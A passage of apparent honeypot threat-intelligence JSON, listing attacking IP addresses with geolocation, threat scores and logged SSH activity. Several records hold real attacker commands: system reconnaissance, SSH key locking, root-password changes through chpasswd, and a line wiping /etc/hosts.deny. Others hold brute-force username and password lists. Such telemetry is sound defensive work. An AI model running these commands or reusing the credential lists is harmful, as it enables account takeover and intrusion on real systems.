        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T20:42:32.678000+00:00",
        "last_seen_30d": "2026-04-06T20:44:37.949000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "104.250.224.4": {
      "attack_count": 2,
      "first_seen": "2026-04-04T09:47:58.406Z",
      "last_seen": "2026-04-04T09:48:11.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "La Grange",
      "asn": 62809,
      "as_org": "VOLT BROADBAND",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:47:58.406000+00:00",
        "last_seen_30d": "2026-04-04T09:49:13.972000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.50.180.109": {
      "attack_count": 2,
      "first_seen": "2026-04-20T04:16:52.426Z",
      "last_seen": "2026-04-20T04:18:52.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Prazins Santo Tirso",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T04:16:52.426000+00:00",
        "last_seen_30d": "2026-04-20T14:51:22.776000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "117.50.139.140": {
      "attack_count": 2,
      "first_seen": "2026-04-23T18:20:04.014Z",
      "last_seen": "2026-04-23T18:22:04.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:20:04.014000+00:00",
        "last_seen_30d": "2026-04-23T18:33:03.132000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "134.122.30.157": {
      "attack_count": 2,
      "first_seen": "2026-04-20T13:49:28.725Z",
      "last_seen": "2026-04-20T13:49:29.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T14:09:06+00:00",
        "last_seen_30d": "2026-04-20T13:50:37.029000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 11,
        "Cowrie": 2
      }
    },
    "139.135.46.92": {
      "attack_count": 2,
      "first_seen": "2026-04-21T23:37:40.634Z",
      "last_seen": "2026-04-21T23:37:53.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:37:40.634000+00:00",
        "last_seen_30d": "2026-04-21T23:38:54.511000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.21.92.112": {
      "attack_count": 2,
      "first_seen": "2026-04-02T10:17:14.801Z",
      "last_seen": "2026-04-02T10:17:28.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:17:14.801000+00:00",
        "last_seen_30d": "2026-04-02T10:18:30.957000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.158.203.60": {
      "attack_count": 2,
      "first_seen": "2026-04-01T05:50:45.083Z",
      "last_seen": "2026-04-01T05:50:55.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Quezon City",
      "asn": 10139,
      "as_org": "Smart Broadband, Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:50:45.083000+00:00",
        "last_seen_30d": "2026-04-01T05:51:59.985000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.72.27.87": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:45:16.973Z",
      "last_seen": "2026-04-30T07:45:48.176Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sombrio",
      "asn": 262539,
      "as_org": "DUNET LTDA",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:45:16.973000+00:00",
        "last_seen_30d": "2026-04-30T07:46:53.313000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "193.176.31.146": {
      "attack_count": 2,
      "first_seen": "2026-04-04T13:26:07.478Z",
      "last_seen": "2026-04-04T13:26:07.787Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.8,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 750,
        "days_active_30d": 2,
        "ports_targeted_30d": 122,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T12:33:07+00:00",
        "last_seen_30d": "2026-04-05T16:14:55.878000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 396,
        "Honeytrap": 352,
        "Cowrie": 2
      }
    },
    "194.88.98.92": {
      "attack_count": 2,
      "first_seen": "2026-04-12T07:13:26.293Z",
      "last_seen": "2026-04-12T07:13:26.607Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 467,
        "days_active_30d": 10,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T16:52:42.229000+00:00",
        "last_seen_30d": "2026-04-12T07:14:36.292000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 270,
        "Honeytrap": 190,
        "Dionaea": 3,
        "Cowrie": 2,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "201.106.7.65": {
      "attack_count": 2,
      "first_seen": "2026-04-16T16:56:39.482Z",
      "last_seen": "2026-04-16T16:56:52.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ecatepec",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:56:39.482000+00:00",
        "last_seen_30d": "2026-04-16T16:57:55.811000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "216.126.86.103": {
      "attack_count": 2,
      "first_seen": "2026-04-17T19:56:27.628Z",
      "last_seen": "2026-04-17T19:56:40.697Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 7311,
      "as_org": "Frontier Networks Inc",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T19:56:27.628000+00:00",
        "last_seen_30d": "2026-04-17T19:57:50.691000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "217.76.250.166": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:44:59.341Z",
      "last_seen": "2026-04-30T21:45:11.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Acarigua",
      "asn": 273069,
      "as_org": "MINET, C.A",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:44:59.341000+00:00",
        "last_seen_30d": "2026-04-30T21:46:18.144000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.215.254.107": {
      "attack_count": 2,
      "first_seen": "2026-04-24T18:26:49.741Z",
      "last_seen": "2026-04-24T18:27:49.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T18:26:49.741000+00:00",
        "last_seen_30d": "2026-04-24T18:29:59.398000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.179": {
      "attack_count": 2,
      "first_seen": "2026-04-18T00:12:35.879Z",
      "last_seen": "2026-04-18T00:12:46.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T20:04:09+00:00",
        "last_seen_30d": "2026-04-30T18:59:08.919000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 41,
        "Cowrie": 2,
        "Miniprint": 1,
        "Sentrypeer": 1
      }
    },
    "91.231.89.244": {
      "attack_count": 2,
      "first_seen": "2026-04-04T00:14:00.675Z",
      "last_seen": "2026-04-04T00:14:00.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:54:29.280000+00:00",
        "last_seen_30d": "2026-04-30T17:35:39.337000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 30,
        "Cowrie": 2
      }
    },
    "213.177.179.91": {
      "attack_count": 4384,
      "first_seen": "2026-04-27T18:42:16.030Z",
      "last_seen": "2026-04-27T20:32:59.887Z",
      "sessions": 877,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bardengineering",
        "kelltech",
        "users",
        "wiki"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "password123",
        "test123",
        "000000",
        "00000000",
        "007007",
        "0123456789",
        "101010",
        "102030",
        "1111",
        "11111",
        "111111",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 56.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6177,
        "days_active_30d": 1,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-27T18:42:16.030000+00:00",
        "last_seen_30d": "2026-04-27T20:34:09.288000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4384,
        "Suricata": 1791,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "103.189.235.33": {
      "attack_count": 856,
      "first_seen": "2026-04-06T05:29:39.572Z",
      "last_seen": "2026-04-20T21:56:21.342Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "deploy",
        "test",
        "git",
        "grid",
        "hssuser",
        "n8n",
        "odoo",
        "oracle",
        "user",
        "vikas",
        "ali",
        "ankit",
        "bot",
        "claude",
        "db_user",
        "devops",
        "duser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "1",
        "123",
        "123456",
        "123456.asdf",
        "12345678",
        "1q@",
        "7777",
        "8ik,!@",
        "A1234567J",
        "Admin123",
        "Admin12@123",
        "Ali31",
        "Claude30!",
        "DDxx123",
        "Dq@123456",
        "Han123456",
        "N8n08!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"N8n08!\\nN8Bo8bbDwN6y\\nN8Bo8bbDwN6y\\n\"|passwd",
        "echo \"P@ssword123\\nSaxRlNuLKWCZ\\nSaxRlNuLKWCZ\\n\"|passwd",
        "echo \"deploy123456789\\n4P5NzgadlcCg\\n4P5NzgadlcCg\\n\"|passwd",
        "echo \"hssuser\\non3M9XzEODPi\\non3M9XzEODPi\\n\"|passwd",
        "echo \"root:FWdb0EAQoZdo\"|chpasswd|bash",
        "echo \"root:RLVmzpOOBQEG\"|chpasswd|bash",
        "echo \"vikas@123\\nLC5Im37mHRWr\\nLC5Im37mHRWr\\n\"|passwd",
        "echo -e \"N8n08!\\nN8Bo8bbDwN6y\\nN8Bo8bbDwN6y\"|passwd|bash",
        "echo -e \"P@ssword123\\nSaxRlNuLKWCZ\\nSaxRlNuLKWCZ\"|passwd|bash",
        "echo -e \"deploy123456789\\n4P5NzgadlcCg\\n4P5NzgadlcCg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1064,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:29:39.572000+00:00",
        "last_seen_30d": "2026-04-20T21:57:22.882000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 856,
        "Suricata": 208
      }
    },
    "74.87.117.149": {
      "attack_count": 586,
      "first_seen": "2026-04-23T07:01:51.258Z",
      "last_seen": "2026-04-30T05:13:34.433Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "test",
        "test1",
        "user",
        "steam",
        "test3",
        "user123",
        "ali",
        "appadmin",
        "botuser",
        "claude",
        "ehsan",
        "gitlab",
        "guest",
        "heyy",
        "hez",
        "info"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "qwert12345",
        "root512",
        "#1",
        "123123",
        "123456@",
        "123456@abc",
        "123456aS",
        "123456qwerty",
        "1234qwer",
        "123qwe456",
        "1Q2w3e4r",
        "1Qaz@WSX#edc",
        "222",
        "Aa123456.",
        "Aa1234567",
        "Abc123!@#",
        "Claude!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123123\\nl0Z6HUabeXmf\\nl0Z6HUabeXmf\\n\"|passwd",
        "echo \"password123\\n8LHgwjCV5Nvx\\n8LHgwjCV5Nvx\\n\"|passwd",
        "echo \"root:XSX0ykVLpmyR\"|chpasswd|bash",
        "echo -e \"123123\\nl0Z6HUabeXmf\\nl0Z6HUabeXmf\"|passwd|bash",
        "echo -e \"password123\\n8LHgwjCV5Nvx\\n8LHgwjCV5Nvx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Appleton",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 768,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:01:51.258000+00:00",
        "last_seen_30d": "2026-04-30T05:14:37.979000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 586,
        "Suricata": 182
      }
    },
    "185.9.193.111": {
      "attack_count": 518,
      "first_seen": "2026-04-10T11:47:58.971Z",
      "last_seen": "2026-04-18T00:21:58.990Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "esuser",
        "user",
        "ali",
        "claude",
        "ftpuser",
        "steam",
        "test",
        "git",
        "novinhost",
        "odoo",
        "postgres",
        "sammy",
        "server",
        "sftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "123456-zxcv",
        "1234@abcd",
        "147258369",
        "1qaz@WSX#$",
        "Aa123456",
        "Abcd1234$",
        "Ali1",
        "Arun@1234",
        "Claude09!",
        "Letmein1qaz",
        "Letmein@1234",
        "Odoo08!",
        "P@ssw0rd1381",
        "Pa$$w0rd@2025",
        "Password1!",
        "Postgres12",
        "QQxx000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"esuser123456\\njWiJVCa3QeRy\\njWiJVCa3QeRy\\n\"|passwd",
        "echo \"root:LPKN4DaABKWL\"|chpasswd|bash",
        "echo \"root:UuW2TsZgaVTX\"|chpasswd|bash",
        "echo \"root:jkUVwddcRQdS\"|chpasswd|bash",
        "echo -e \"esuser123456\\njWiJVCa3QeRy\\njWiJVCa3QeRy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 198479,
      "as_org": "Nunsys SA",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 651,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:47:58.971000+00:00",
        "last_seen_30d": "2026-04-18T00:22:59.440000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 518,
        "Suricata": 133
      }
    },
    "220.149.212.190": {
      "attack_count": 502,
      "first_seen": "2026-04-05T17:33:11.820Z",
      "last_seen": "2026-04-07T20:14:35.789Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "app",
        "bot",
        "business",
        "ftptest",
        "ftpuser",
        "hadoopuser",
        "ivan",
        "jim",
        "milan",
        "minecraft",
        "packer",
        "sammy",
        "server",
        "test",
        "tiktok",
        "vivi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1029384756",
        "1234",
        "123456",
        "12345678",
        "2024abc",
        "2026.com",
        "AAAA123456",
        "Aa111111.",
        "Ab147258",
        "Abcd1234567@#",
        "Bot4",
        "Login@123",
        "QQcc111",
        "QQzz1234",
        "Qaz123wsx",
        "Qwe123123",
        "Qwerty$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
